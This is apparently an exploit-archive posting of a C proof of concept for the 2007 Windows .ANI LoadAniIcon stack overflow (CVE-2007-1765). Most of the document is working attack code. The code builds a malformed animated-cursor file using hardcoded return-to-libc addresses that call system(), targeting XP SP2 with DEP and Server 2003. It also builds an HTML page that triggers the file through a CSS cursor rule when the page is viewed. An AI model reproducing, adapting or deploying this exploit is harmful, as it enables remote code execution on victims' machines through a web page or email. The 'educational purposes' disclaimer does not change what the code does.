Rated as : Critical
/*
* version 0.5
* Copyright (c) 2007 devcode
*
*
* ^^ D E V C O D E ^^
*
* Windows .ANI LoadAniIcon Stack Overflow For Hardware DEP XP SP2
* [CVE-2007-1765]
*
*
* Description:
* A vulnerability has been identified in Microsoft Windows,
* which could be exploited by remote attackers to take complete
* control of an affected system. This issue is due to a stack overflow
* error within the "LoadAniIcon()" [user32.dll] function when
rendering
* cursors, animated cursors or icons with a malformed header, which
could
* be exploited by remote attackers to execute arbitrary commands by
* tricking a user into visiting a malicious web page or viewing an
email
* message containing a specially crafted ANI file.
*
* Hotfix/Patch:
* None as of this time.
*
* Vulnerable systems:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 2
* Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 (Itanium)
* Microsoft Windows Server 2003 Service Pack 1
* Microsoft Windows Server 2003 Service Pack 1 (Itanium)
* Microsoft Windows Server 2003 x64 Edition
* Microsoft Windows Vista
*
* Microsoft Internet Explorer 6
* Microsoft Internet Explorer 7
*
* Tested on:
* Microsoft XP SP2 + DEP + Internet Explorer 6
*
* This is a PoC and was created for educational purposes only. The
* author is not held responsible if this PoC does not work or is
* used for any other purposes than the one stated above.
*
* Credit goes to HOD (if he/they exist :P) for the html. Works on
* XP SP2 with Hardware DEP enabled, go figure.
*
* ^^ shoutz to Wonk(if he exists r0fl), InTeL, thrasher :)
*
*
*/
#include <iostream>
#include <windows.h>
/* ANI Header */
unsigned char uszAniHeader[] =
"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
"\x61\x6E\x69\x68\xA8\x03\x00\x00";
/* system("calc.exe"); */
char szExecute[] = "logoff.exe\x00";
unsigned char uszHtml[] =
"<html>"
"Microsoft Windows .ANI LoadAniIcon Exploit"
"<br>Copyright (c) 2007 devcode<br>"
"<style>" \
"* {CURSOR:
url(\"poc.ani\")}</style></head>"
"</html>";
/* Usage: ani.exe 1*/
char szIntro[] =
"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
"\t\t\tdevcode (c) 2007\n"
"[+] Targets:\n"
"\t(0) Kernel32.dll (ExitProcess)\n"
"\t(1) Windows XP SP2 + DEP\n"
"\t(2) Windows 2003 Server\n"
"Usage: ani.exe <target>";
/* RET2LIBC attack */
typedef struct {
const char *szTarget;
/* kernel32.dll - set the proper stack frame
LEA EBP, DWORD PTR SS:[ESP+10]
SUB ESP, EAX
PUSH EBX
PUSH ESI
PUSH EDI
....
....
RETN
*/
unsigned char uszRet[5];
/* msvcrt.dll - system() */
unsigned char uszMsvcrtCall[5];
} TARGET;
TARGET targets[] = {
{ "Kernel32.dll (ExitProcess)", "\x90\x90\x90\x90",
"\x90\x90\x90\x90" },
{ "Windows XP SP2", "\xD6\x24\x80\x7C",
"\xC7\x93\xC2\x77" },
{ "Windows 2003 Server", "\x0A\x17\xE4\x77",
"\x10\x8C\xBB\x77" }
};
int main( int argc, char **argv ) {
char szBuffer[1024];
FILE *f;
void *pExitProcess[4];
if ( argc < 2 ) {
printf("%s\n", szIntro );
return 0;
}
if ( atoi( argv[1] ) == 0 ) {
printf("[+] Getting ExitProcess address...\n");
*pExitProcess = GetProcAddress( GetModuleHandle(
"kernel32.dll" ),
"ExitProcess" );
if ( pExitProcess == NULL ) {
printf("[-] Cannot get ExitProcess address\n");
return 0;
}
memcpy( targets[1].uszRet, pExitProcess, 4 );
}
printf("[+] Creating ANI header...\n");
memset( szBuffer, 0x90, sizeof( szBuffer ) );
memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
printf("[+] Copying execution code...\n");
memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
memset( szBuffer + 136, 0, 4 );
memset( szBuffer + 204, 0, 4 );
szBuffer[136] = 0x6C;
szBuffer[204] = 0x6C;
memcpy( szBuffer + 196, targets[atoi(argv[1])].uszMsvcrtCall, 4 );
memcpy( szBuffer + 200, targets[atoi(argv[1])].uszMsvcrtCall, 4 );
memcpy( szBuffer + 240, szExecute, sizeof( szExecute ) - 1 );
f = fopen( "poc.ani", "wb" );
if ( f == NULL ) {
printf("[-] Cannot create ani file\n");
return 0;
}
fwrite( szBuffer, 1, 1024, f );
fclose( f );
printf("[+] .ANI file succesfully created!\n");
f = fopen( "poc.html", "wb" );
if ( f == NULL ) {
printf("[-] Cannot create html file\n");
return 0;
}
fwrite( uszHtml, 1, sizeof( uszHtml ), f );
fclose( f );
printf("[+] HTML file succesfully created!\n");
return 0;
}
securitydot.net - 2007-04-03
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